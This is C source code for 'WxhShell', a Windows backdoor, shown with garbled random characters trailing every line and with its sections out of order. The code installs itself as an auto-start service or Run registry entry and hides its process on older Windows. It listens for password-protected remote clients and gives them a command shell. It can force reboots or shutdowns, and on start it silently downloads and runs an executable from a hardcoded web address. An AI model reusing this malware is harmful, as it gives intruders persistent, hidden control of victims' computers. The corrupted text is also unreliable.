    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hM(|d@)  
    if(Boot(SHUTDOWN)) >+fet ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?!~CX`eMZ  
    else { (Y!@,rKd   
    closesocket(wsh); a3037~X  
    ExitThread(0); \?)<==^  
    } Pd\S{ Y~wk  
    break; Ohnd:8E  
    } &}%3yrU  
  // 获取shell B}YB%P_CWs  
  case 's': { z}N=Oe  
    CmdShell(wsh); \=4[v-3 H  
    closesocket(wsh); p}}o#a~V),  
    ExitThread(0); icHc!m?  
    break; 4RNB\D  
  } y%\kgWV  
  // 退出 HkEfBQmh  
  case 'x': { Qg9 N?e{z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }0|,*BkI m  
    CloseIt(wsh); KyNv)=x4c  
    break; o|AV2FM)  
    } b4s.`%U  
  // 离开 Z@ * ^4Ve  
  case 'q': { B9n$8QS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N'!a{rF  
    closesocket(wsh); F\Ex$:%~  
    WSACleanup(); aDTNr/I  
    exit(1); 3xh~xE  
    break; {(A Ys*5  
        } 'ac %]}`-  
  } M"#xjP.  
  } 5R/!e`(m  
k 0z2)3L  
  // 提示信息 x(&o=Pu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZPY#<^WOzr  
} _CBG?  
  } p0UR5A>p  
Edc<  8-  
  return;  J O`S  
} Lt.a@\J'_  
jX!,xS%(  
// shell模块句柄 vz*QzVk1  
int CmdShell(SOCKET sock) iXMs*G cK  
{ ,l#Ev{  
STARTUPINFO si; G0|j3y9$  
ZeroMemory(&si,sizeof(si)); cWP34;NNM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m49GCo k+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `\P#TBM  
PROCESS_INFORMATION ProcessInfo; =M)+O%`*6  
char cmdline[]="cmd"; u!];RHOp|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1p<m>s=D=e  
  return 0; Tz]t.]!&E  
} yNP M-  
Z~ VOO7|m  
// 自身启动模式 r'uD|T H  
int StartFromService(void) ^i2W=A'P  
{ tpO%)*  
typedef struct x-+Hy\^@|  
{ 1RZhy_$\.  
  DWORD ExitStatus; %vDN{%h8  
  DWORD PebBaseAddress; aRdzXq#x  
  DWORD AffinityMask; |vw0:\/ H  
  DWORD BasePriority; Dx/BxqG6}_  
  ULONG UniqueProcessId; )'KkO$^&  
  ULONG InheritedFromUniqueProcessId; \m~ ?mg"#  
}   PROCESS_BASIC_INFORMATION; 61HU_!A8S  
iF?4G^  
PROCNTQSIP NtQueryInformationProcess; \L-o>O  
eYMp@Cx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 Ji>dr n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^+^#KC8]W  
anjU3j  
  HANDLE             hProcess; -uXf?sTV  
  PROCESS_BASIC_INFORMATION pbi; W~z 2Q so  
+hI:5(_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Va"Q1 *"  
  if(NULL == hInst ) return 0; fgK1+sW  
Pk!RgoWF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tz[ck 'k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [QEV6 S]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \wEHYz  
c"Ddw'?e  
  if (!NtQueryInformationProcess) return 0; $n\{6Rwb  
1%68Pnqk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ABw:SQ6=Q  
  if(!hProcess) return 0; U}<5%"!;  
E*'sk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kAA1+rG  
:*Lr(-N-  
  CloseHandle(hProcess); DJvmwFx  
]1h W/!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "`qmeZ$rg  
if(hProcess==NULL) return 0; uT:'Kkb!  
:jlKj}4A  
HMODULE hMod; ,$s NfW  
char procName[255]; M?l/_!QB  
unsigned long cbNeeded; Fcz7   
\ :To\6\Ri  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .R'<v^H  
,RjE?M%  
  CloseHandle(hProcess); )voJq\Y)%  
S-l<+O1fy  
if(strstr(procName,"services")) return 1; // 以服务启动 RC'4%++Nz  
2wLnRP`*  
  return 0; // 注册表启动 /.P9n9  
} 9.u}<m  
4zyN>f|  
// 主模块 _ p%=RIR  
int StartWxhshell(LPSTR lpCmdLine) uF,F<%d  
{ "159Q  
  SOCKET wsl; wV8_O)[  
BOOL val=TRUE; #t N9#w[K{  
  int port=0; Z OJ<^t}  
  struct sockaddr_in door; j5\z7  
x7\b-EC  
  if(wscfg.ws_autoins) Install(); ]!CMo+  
vZMb/}-o  
port=atoi(lpCmdLine); ;Z^\$v9?  
N~H!6N W  
if(port<=0) port=wscfg.ws_port; B' }h6ZH  
UMtnb:ek  
  WSADATA data;  ac  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8J|2b; Vf  
Nz/PAs7g6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x*>@knP<-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qw>~] d,Z  
  door.sin_family = AF_INET; c12mT(+-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NxY B)`~  
  door.sin_port = htons(port); >TI/W~M  
r@")MOGc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (;\" K?  
closesocket(wsl); [$\KS_,Mn  
return 1; B&:9uPRzZ  
} WH|TdU$V  
%Q,6sH#  
  if(listen(wsl,2) == INVALID_SOCKET) { 3.?G,%S5.$  
closesocket(wsl); >b\{y}[  
return 1; `Iwl\x[A  
} 3yGo{uW  
  Wxhshell(wsl); 7v'aw"~  
  WSACleanup(); J9aqmQj('  
0'wchy>  
return 0;  +_E^E  
p>#sR4d>  
} Q1kZ+b&  
(\8IgQ{  
// 以NT服务方式启动 ^mH:8_=(.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) To/6=$wto  
{ x%h4'Sm  
DWORD   status = 0; W%ml/ 4  
  DWORD   specificError = 0xfffffff; 6roq 1=   
O>R@Xj)M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K HyVI6N[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CFK{.{d]B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \_io:{M  
  serviceStatus.dwWin32ExitCode     = 0; ^VI\:<\{  
  serviceStatus.dwServiceSpecificExitCode = 0; g'X{  
  serviceStatus.dwCheckPoint       = 0; 88x2Hf5I  
  serviceStatus.dwWaitHint       = 0; "L4ZE4|)  
GJs{t1 E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DpCe_Vb%M  
  if (hServiceStatusHandle==0) return; +{~ cX] |  
hMCf| e.UY  
status = GetLastError(); oUl0w~Xn  
  if (status!=NO_ERROR) tt&#4Z  
{ `d c&B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g)!d03Qoy  
    serviceStatus.dwCheckPoint       = 0; \jmT#Gt`9  
    serviceStatus.dwWaitHint       = 0; ?,}:)oA_  
    serviceStatus.dwWin32ExitCode     = status; inHlL  
    serviceStatus.dwServiceSpecificExitCode = specificError; a``/x_EZMn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h\T}$jgfWm  
    return; PGd?c#v#  
  } J,G/L!Bp  
>//yvkZ9,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M{z&h>  
  serviceStatus.dwCheckPoint       = 0; &3Y"Zd!  
  serviceStatus.dwWaitHint       = 0; _xsHU`(J#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nt:ZO,C:R  
} :(Ak:  
HXm&`  
// 处理NT服务事件,比如:启动、停止 3>>Ca;>$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1y3)ogL  
{ n\GN}?4  
switch(fdwControl) x)R1aq  
{ DX0#q #  
case SERVICE_CONTROL_STOP: b.q/? Yx  
  serviceStatus.dwWin32ExitCode = 0; {K N7Y"AI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q# 6|/R*  
  serviceStatus.dwCheckPoint   = 0; ffW-R)U|3  
  serviceStatus.dwWaitHint     = 0; l&|Tb8_'  
  { bg\9Lbjr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lb{X6_.  
  } !c"EgP+  
  return; rF$ S  
case SERVICE_CONTROL_PAUSE: qWU59:d^{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y@h v#;  
  break; Xv+!) j<  
case SERVICE_CONTROL_CONTINUE: QVF561Yz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yi8AzUW cW  
  break; fBb:J+  
case SERVICE_CONTROL_INTERROGATE: /&H l62Ak  
  break; Fs}B\R/J  
}; (]Q0L{~K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w1EB>!<;tj  
} Zd| u>tn  
E]Q d5l  
// 标准应用程序主函数 v4]#Nc$~T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ),>whCtsI  
{ wwNkJ+  
}ssP%c]  
// 获取操作系统版本 W K(GR\@  
OsIsNt=GetOsVer(); 00LL&ot  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tUksIUYD\  
ba tXj]:  
  // 从命令行安装 >u\'k +=  
  if(strpbrk(lpCmdLine,"iI")) Install(); \WqC^Di  
x"7PnN|~  
  // 下载执行文件 !'C8sNs  
if(wscfg.ws_downexe) { n5 <B*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]k$:sX  
  WinExec(wscfg.ws_filenam,SW_HIDE); qgs:9V xF  
} W!+eJ!Da  
d(j g "@  
if(!OsIsNt) { [{0/'+;9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;Kh[6{W  
HideProc(); 8%`h:fE  
StartWxhshell(lpCmdLine); %J+ w9Z  
} F0wW3+G  
else 9!PM1<p  
  if(StartFromService()) "yK)9F[9Mo  
  // 以服务方式启动 I^)_rOgM  
  StartServiceCtrlDispatcher(DispatchTable); ?pdN!zOeL  
else bZ#KfR  
  // 普通方式启动 th{ie2$  
  StartWxhshell(lpCmdLine); E9w"?_A)  
WOeG3jMz?  
return 0; (Z0.H3  
} Vp1Q^`a{G  
8ly Ng w1  
FzOlM-)m   
v8 II=9  
=========================================== </B:Zjn  
%EYh*g{G  
yO/'}FD  
g7w#;E  
o4^#W;%w  
pJ x H  
" q&&uX-ez5W  
,g1~4,hqQ  
#include <stdio.h> N3V4Mpf  
#include <string.h> ]M 2n%9  
#include <windows.h> ?y@;=x!'  
#include <winsock2.h> *&5./WEOH  
#include <winsvc.h> C,8@V`  
#include <urlmon.h> g2vt(Gf;  
F ~e}=Nb  
#pragma comment (lib, "Ws2_32.lib") *l@T 9L[M'  
#pragma comment (lib, "urlmon.lib") ('`mPD,  
~(L&*/c  
#define MAX_USER   100 // 最大客户端连接数 =y^ g*9}_  
#define BUF_SOCK   200 // sock buffer s]HJcgI  
#define KEY_BUFF   255 // 输入 buffer Gx|/ Jq  
#4AqWyp#f  
#define REBOOT     0   // 重启 UZL-mF:)&  
#define SHUTDOWN   1   // 关机 .G}$jO}  
vos-[$  
#define DEF_PORT   5000 // 监听端口 ZSB;4 ?:h  
fc<,kRp  
#define REG_LEN     16   // 注册表键长度 OTEx9  
#define SVC_LEN     80   // NT服务名长度 j'XND`3  
w[uw hd  
// 从dll定义API uZP( -}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lrgvY>E0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /GA-1cS_(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5r0Sl89J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !MOcF5M  
PkOtg[Z  
// wxhshell配置信息 {\ VmNnw  
struct WSCFG { /AIFgsaY  
  int ws_port;         // 监听端口 ; X/'ujg  
  char ws_passstr[REG_LEN]; // 口令 yn2k!2]&T<  
  int ws_autoins;       // 安装标记, 1=yes 0=no m~@Lt~LZs  
  char ws_regname[REG_LEN]; // 注册表键名 G&yF9s)Lvs  
  char ws_svcname[REG_LEN]; // 服务名 ^J@ Xsl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >qdRqy)DC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +p-S36K~,7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yg%T{hyzH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no km}E&ao  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CbMClnF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $cGV)[KWp@  
O_D;_v6Ii+  
}; InG<B,/W?  
^Uldyv/  
// default Wxhshell configuration K&&YxX~ 3  
struct WSCFG wscfg={DEF_PORT, ?YM0VB,y  
    "xuhuanlingzhe", g:>dF#  
    1, K14{c1  
    "Wxhshell", 602=qb  
    "Wxhshell", ,f .#-  
            "WxhShell Service", kCKCJ }N  
    "Wrsky Windows CmdShell Service", v8THJf  
    "Please Input Your Password: ", UmCIjwk  
  1, 6w0r)  
  "http://www.wrsky.com/wxhshell.exe", ~gEd (  
  "Wxhshell.exe" )7F$:*e  
    }; s=XqI@  
mTa^At"  
// 消息定义模块 V/8yW3]Xy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <h~_7Dn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "'c =(P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sv*xO7D.  
char *msg_ws_ext="\n\rExit."; g1q%b%8T  
char *msg_ws_end="\n\rQuit."; rgu7g  
char *msg_ws_boot="\n\rReboot..."; M,eq-MEK  
char *msg_ws_poff="\n\rShutdown..."; s`L>mRw`  
char *msg_ws_down="\n\rSave to "; Byns6k  
p{JE@TM  
char *msg_ws_err="\n\rErr!"; 3UGdXufw  
char *msg_ws_ok="\n\rOK!"; p|=0EWo4U  
1c $iW>0K  
char ExeFile[MAX_PATH]; -PH qD  
int nUser = 0; gjy:o5{vA*  
HANDLE handles[MAX_USER]; %[m%QP1;p  
int OsIsNt; ":Pfi!9Wl  
ld'Aaxl&  
SERVICE_STATUS       serviceStatus; x{{ZV]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;7yt,b5&C  
B=2f-o  
// 函数声明 Q#I?nBin  
int Install(void); Y.o-e)zX  
int Uninstall(void); ptpu u=3"  
int DownloadFile(char *sURL, SOCKET wsh); SG3qNM: g  
int Boot(int flag); uX,ln(9I*H  
void HideProc(void); @,TCg1@QJ  
int GetOsVer(void); btB> -pT  
int Wxhshell(SOCKET wsl); #]Q.B\\  
void TalkWithClient(void *cs); K-7i4 ~  
int CmdShell(SOCKET sock); G;bE_O  
int StartFromService(void); {FM:\/  
int StartWxhshell(LPSTR lpCmdLine); 8KS9!*.iZ  
 TGozoPV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iLkP@OYgQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2ZFp(e^%  
O0> ^?dsL  
// 数据结构和表定义 e@L7p,  
SERVICE_TABLE_ENTRY DispatchTable[] = _qhYG1t  
{ ,9ZN k@q  
{wscfg.ws_svcname, NTServiceMain}, w77"?kJ9X  
{NULL, NULL} i9y&<^<W  
}; Y&`nB,'  
qXQ7Jg9  
// 自我安装 2o-Ie/"d\  
int Install(void) X6: c-  
{ jiAN8t*P  
  char svExeFile[MAX_PATH]; Yc1ve  
  HKEY key; m_1BB$lyP2  
  strcpy(svExeFile,ExeFile); MQGR-WV=5  
mkt%|Kb.  
// 如果是win9x系统,修改注册表设为自启动 /bv4/P  
if(!OsIsNt) { {AqPQeNgz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0~j0x#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V$<5`  
  RegCloseKey(key); FG5t\!dt<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )3~):+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [?Q$b5j/M  
  RegCloseKey(key); +0WI;M4i  
  return 0; mw&)j R$&  
    } giz#(61j^  
  } OO+QH 2j  
} )}jXC4  
else { G2}e@L0  
+eD+Z.{  
// 如果是NT以上系统,安装为系统服务 =`6_{<&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #Y9~ Xp^.  
if (schSCManager!=0) u@-x3%W  
{ + %07J6  
  SC_HANDLE schService = CreateService ln6Hr^@5  
  ( `>cBR,)r  
  schSCManager, weky 5(:  
  wscfg.ws_svcname, "i;c)ZP  
  wscfg.ws_svcdisp, r+%}XS%;h  
  SERVICE_ALL_ACCESS, X,8 ]g.<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :;]iUjiC8  
  SERVICE_AUTO_START, cfd7)(6  
  SERVICE_ERROR_NORMAL, T#e ;$\  
  svExeFile, 7B,a xkr  
  NULL, &udlt//^%  
  NULL, * "Z5bKL  
  NULL, [<M~6]  
  NULL, Q)s[ls  
  NULL ^p 4 33  
  ); Q4,!N(>D  
  if (schService!=0) 3ud_d>  
  { Wc+)EX~KS  
  CloseServiceHandle(schService); $kef_*BQg  
  CloseServiceHandle(schSCManager); oMV<Yn_<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q-}yZ  
  strcat(svExeFile,wscfg.ws_svcname); {"uLV{d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %nfaU~IqK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kq kj.#u  
  RegCloseKey(key); V>&WZY  
  return 0; d}t7bgk'j  
    } k*3F7']8  
  } ~SRK}5E  
  CloseServiceHandle(schSCManager); 3,<$z1Jm  
} _c 4kj  
} $ RDwy)9  
x2bKFJ>e@  
return 1; JXIxk"m  
} $ kA'9Y  
cn$o$:tW  
// 自我卸载 \'gb{JO  
int Uninstall(void) "NgfdLz  
{ %cl=n!T  
  HKEY key; j%m9y_rg}  
`'Af`u\R  
if(!OsIsNt) { )E.!jL:g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rVE!mi]%  
  RegDeleteValue(key,wscfg.ws_regname); Pn*+g!`  
  RegCloseKey(key); ROyG+dUy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { As;@T$G  
  RegDeleteValue(key,wscfg.ws_regname); 5QR=$?K  
  RegCloseKey(key); U2u\Q1  
  return 0; ^"e|)4_5\  
  } Is $I;`  
} ^T#bla893  
} #ONad0T;  
else { .W#-Cl&n8  
Oist>A$Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S}Q/CT?au  
if (schSCManager!=0) VM1`:1Z:$  
{  M[^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ueyz@{On~  
  if (schService!=0) +; P8QZK6  
  { 75+#)hNa!P  
  if(DeleteService(schService)!=0) { KTm^0:V[Oy  
  CloseServiceHandle(schService); ]b"Oy}ARW  
  CloseServiceHandle(schSCManager); bZE;}d  
  return 0; vjcG F'-  
  } PE~umY]  
  CloseServiceHandle(schService); _qq> 43  
  } CHeU?NtFps  
  CloseServiceHandle(schSCManager); Stkyz:,(  
} Ca&5"aki  
} 0Y_?r$M  
 {hzU  
return 1; (|<e4HfZL  
} 0@K?'6  
'Olp2g8=  
// 从指定url下载文件 UbD1h_b  
int DownloadFile(char *sURL, SOCKET wsh) gkJL=,  
{ QxSJLi7t  
  HRESULT hr; h~]G6>D9)>  
char seps[]= "/"; OO Hw-MW  
char *token; ]ZD W+<  
char *file; `u z R!^X  
char myURL[MAX_PATH]; vU:FDkx*nn  
char myFILE[MAX_PATH]; H\Y5Fd9)  
?*36&Iq}  
strcpy(myURL,sURL); ^u? #fLr  
  token=strtok(myURL,seps); g ni=S~u  
  while(token!=NULL) "0Wi-52=V  
  { ! z^%$;p  
    file=token; vdn`PS'#  
  token=strtok(NULL,seps); qgT~yDm  
  } CEwMPPYnD  
|,3>A@  
GetCurrentDirectory(MAX_PATH,myFILE); TSGJ2u5ie%  
strcat(myFILE, "\\"); g[Z$\A?ZbZ  
strcat(myFILE, file); uANG_sX^n  
  send(wsh,myFILE,strlen(myFILE),0); jT~PwDSFt3  
send(wsh,"...",3,0); 6zmt^U   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %V,2,NCd  
  if(hr==S_OK) WF)(Q~op0U  
return 0; =6XJr7Ay8u  
else  I~'%  
return 1; $2p=vi 3  
otA59 ;Z  
} -YXNB[C  
}e7os0;s  
// 系统电源模块 o$*aAgS+  
int Boot(int flag) gx-ib/_f1  
{ emhI1 *}  
  HANDLE hToken;  xJphG  
  TOKEN_PRIVILEGES tkp; O%g Q  
a'T8U1  
  if(OsIsNt) { `&\jOve   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 ZL91'U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~$I9%z7@  
    tkp.PrivilegeCount = 1; WrA!'I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uwQ~4   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "!ZQ`yl  
if(flag==REBOOT) { HHT_}_?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R&>G6jZ?8  
  return 0; <G9HVMiP  
} .!fhy[%o:D  
else { :y/1Jf'2f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 03ol6y )C  
  return 0; #ujry. m  
} scf.> K2  
  } (E{>L).~  
  else { WH>=*\  
if(flag==REBOOT) { <G};`}$a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U$*AV<{%   
  return 0; Jy#c 6  
} dRdI('  
else { bW]7$?acv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HE;}B!>  
  return 0; iyA=d{S;V  
} ~XzT~WxW  
} ;PS V3Zh  
v qt#JdPp9  
return 1; 'n:|D7t  
} Vu0d\l^$  
zBQV2.@  
// win9x进程隐藏模块 S!Alno  
void HideProc(void) RP@U0o  
{ /C[Q?  
q,i&%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PBeBI:  
  if ( hKernel != NULL ) 4YV 0v,z  
  { >>cb0fH5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; _ziRy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tvd}5~ 5?  
    FreeLibrary(hKernel); [P'"|TM[ ~  
  } yt'P,m  
@ 0'j;")XV  
return; L;7u0Yg  
} Wc*jTip  
{Jna' eS  
// 获取操作系统版本 ~+A(zlYr~  
int GetOsVer(void) -wh?9 ?W  
{ h SeXxSb:  
  OSVERSIONINFO winfo; ?*zDsQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l&/V4V-  
  GetVersionEx(&winfo); GM~Ek] 9C%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z#[PTqD-_  
  return 1; L@5j? N?F  
  else t)4><22of  
  return 0; D-/q-=zd  
} vGCvJ*4!  
kF;N}O2?{  
// 客户端句柄模块 J dM0f!3  
int Wxhshell(SOCKET wsl) rAn:hR{  
{ +]3kcm7B  
  SOCKET wsh; *;&[q{hz  
  struct sockaddr_in client; i_c'E;|  
  DWORD myID; khc1<BBsT  
n5DS  
  while(nUser<MAX_USER) fN_qJm#:$y  
{ P=[_W;->}  
  int nSize=sizeof(client); 7es<%H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6~!QibA|P  
  if(wsh==INVALID_SOCKET) return 1; b8 ^O"oDrp  
}@y(-7t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oH,{'S@q  
if(handles[nUser]==0) gTS} 'w{  
  closesocket(wsh); @*9c2\"k  
else 6MD9DqD  
  nUser++; Ao U Pq  
  } 2il`'X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3'7]jj  
8.!+Hm4  
  return 0; Ud_7>P$a  
} /h7u E  
[;Y,nSw  
// 关闭 socket `0_,>Z  
void CloseIt(SOCKET wsh) g5C$#<28  
{ 5|jsv)M+  
closesocket(wsh); -U{CWn3G  
nUser--; = yFOH~_  
ExitThread(0); |iA8aHFU  
} '5m4kDs  
sXi~cfFaE  
// 客户端请求句柄 dC<2%y  
void TalkWithClient(void *cs) #z1/VZ  
{ 5SMV3~*P  
YNB7`:  
  SOCKET wsh=(SOCKET)cs; yW)r`xpY  
  char pwd[SVC_LEN]; h"y~!NWn  
  char cmd[KEY_BUFF]; l$&dTI<#  
char chr[1]; Y3 \EX  
int i,j; UQg_y3 #V  
*Fg)`M3g  
  while (nUser < MAX_USER) { 7w<e^H?  
i5,yrPF  
if(wscfg.ws_passstr) { iYf)FPET  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8og8;#mnyr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q@^^jlHP  
  //ZeroMemory(pwd,KEY_BUFF); !,^y!+,Qy  
      i=0; x*sDp3f[*  
  while(i<SVC_LEN) { ;:,U]@  
SsEpuEn  
  // 设置超时 ICEyz| C  
  fd_set FdRead; D$AvD7_  
  struct timeval TimeOut; 1u8hnG  
  FD_ZERO(&FdRead); +MqJJuWB  
  FD_SET(wsh,&FdRead); Hz"FGwd  
  TimeOut.tv_sec=8; QHr'r/0  
  TimeOut.tv_usec=0; 1l'JoU.<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o%,?v 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y`i?Qo3  
D<`M<:nq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); drxCjuz"  
  pwd=chr[0]; g%V#Z`*|  
  if(chr[0]==0xd || chr[0]==0xa) {  0R,.  
  pwd=0; ["#H/L]3  
  break; X`(fJ',  
  } ;Dbx5-t  
  i++; !|l7b2NEz-  
    } i6f42]Jy  
4H^ACw  
  // 如果是非法用户,关闭 socket gt9(5p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #+N_wIP4  
} Ifokg~X~G  
njZJp|y6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {<$tEj:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FUXJy{n6"2  
01&@8z'E  
while(1) { 2acT w#  
${rWDZ0Z  
  ZeroMemory(cmd,KEY_BUFF); k 1a?yH)=  
*8_Dn}u?Jx  
      // 自动支持客户端 telnet标准   O+|ipw*B%  
  j=0; fk9q3  
  while(j<KEY_BUFF) { -G~/ GO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RU=\eD  
  cmd[j]=chr[0]; A.mFa1lH  
  if(chr[0]==0xa || chr[0]==0xd) { !x:{"  
  cmd[j]=0; U[2;Fkapi  
  break; /i dI-  
  } eso-{W,D  
  j++; ($!uBF-b  
    } 7n o6  
$e2+O\.>  
  // 下载文件 vcCNxIzEG  
  if(strstr(cmd,"http://")) { B9Mp3[   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y<jX[ET!  
  if(DownloadFile(cmd,wsh)) =''WA:,=h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ir-QD !!<  
